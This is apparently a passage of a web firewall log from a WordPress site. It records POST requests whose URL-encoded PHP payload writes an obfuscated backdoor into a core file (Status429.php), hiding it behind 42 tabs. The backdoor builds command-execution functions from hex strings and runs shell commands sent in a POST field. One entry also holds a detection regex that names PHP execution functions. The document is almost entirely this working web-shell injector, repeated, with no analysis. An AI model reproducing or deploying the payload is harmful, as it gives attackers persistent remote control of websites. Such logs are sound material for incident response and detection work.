2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEyLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:8810\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nFV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:56:00","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:8810\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nJC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
